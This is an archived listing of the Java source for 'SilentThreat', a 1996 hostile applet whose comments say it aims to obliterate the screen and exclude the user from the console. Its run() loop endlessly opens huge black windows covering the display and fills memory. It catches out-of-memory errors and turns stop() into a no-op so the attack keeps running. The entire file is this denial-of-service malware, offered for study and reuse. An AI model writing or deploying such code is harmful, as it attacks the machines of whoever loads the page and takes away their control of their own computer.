home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / internet / silentthreat.java < prev    next >
Encoding:
Java Source  |  1996-07-04  |  2.7 KB  |  97 lines

  1. /* SilentThreat.java by Mark D. LaDue */
  2.  
  3. /* February 21, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to spew forth huge non-functioning
  10.    black windows and obliterate the screen in order to exclude the
  11.    user from the console. */ 
  12.  
  13. import java.awt.*;
  14.  
  15. public class SilentThreat extends java.applet.Applet implements Runnable {
  16.  
  17. //  This thread will attempt to spew forth huge windows and waste resources 
  18.     Thread wasteResources = null;
  19.  
  20. //  An offscreen Image where lots of action will take place
  21. //    Image offscreenImage;
  22.  
  23. //  Graphics tools to handle the offscreen Image
  24. //    Graphics offscreenGraphics;
  25.  
  26. //  To avoid arrays and have open-ended storage of results
  27.     StringBuffer holdBigNumbers = new StringBuffer(0);
  28.  
  29. //  A window that repeatedly tries to obscure everything 
  30.     Frame littleWindow;
  31.  
  32.  
  33. /*  Create the offscreen graphics  */ 
  34.  
  35.     public void init() {
  36. //    offscreenImage = createImage(100, 100);
  37. //    offscreenGraphics = offscreenImage.getGraphics();
  38.     }
  39.  
  40.  
  41. /*  We certainly won't be stopping anything */
  42.  
  43.     public void stop() {}
  44.  
  45.  
  46. /* Repeatedly open windows
  47.    while doing lots of other wasteful operations */ 
  48.  
  49.     public void run() {
  50.  
  51. //  Now fill the screen with huge windows, one atop another, and do
  52. //  a lots of wasteful stuff!
  53.  
  54.         while (true) {
  55.         try {
  56.         holdBigNumbers.append(0x7fffffffffffffffL);
  57.         littleWindow = new SilentFrame("ACK!"); // create a window
  58.         littleWindow.resize(1000000, 1000000);  // make it big!
  59. //        Point pt = location();  // find out where the applet is positioned
  60.         littleWindow.move(-1000, -1000);  // cover everything
  61.         littleWindow.show();  //  now open the big window 
  62.         }
  63.         catch (OutOfMemoryError o) {}
  64.         repaint();
  65.         }
  66.     }
  67.  
  68.  
  69. /*  Paints the applet's offscreen Image */
  70.  
  71.     public void update(Graphics g) {
  72.         paint(g);
  73.     }
  74.  
  75.     public void paint(Graphics g) {
  76. //    offscreenGraphics.setColor(Color.white);
  77. //    offscreenGraphics.drawRect(0, 0, 100, 100);
  78. //    offscreenGraphics.setColor(Color.blue);
  79. //    offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  80.     }
  81. }
  82.  
  83. /* Makes the big, opaque windows */
  84.  
  85. class SilentFrame extends Frame {
  86.     Label l;
  87.  
  88. //  Constructor method
  89.     SilentFrame(String title) {
  90.         setLayout(new GridLayout(1, 1));
  91.         Canvas blackCanvas = new Canvas();
  92.         blackCanvas.setBackground(Color.black);
  93.         add(blackCanvas);
  94.     }
  95. }
  96.  
  97.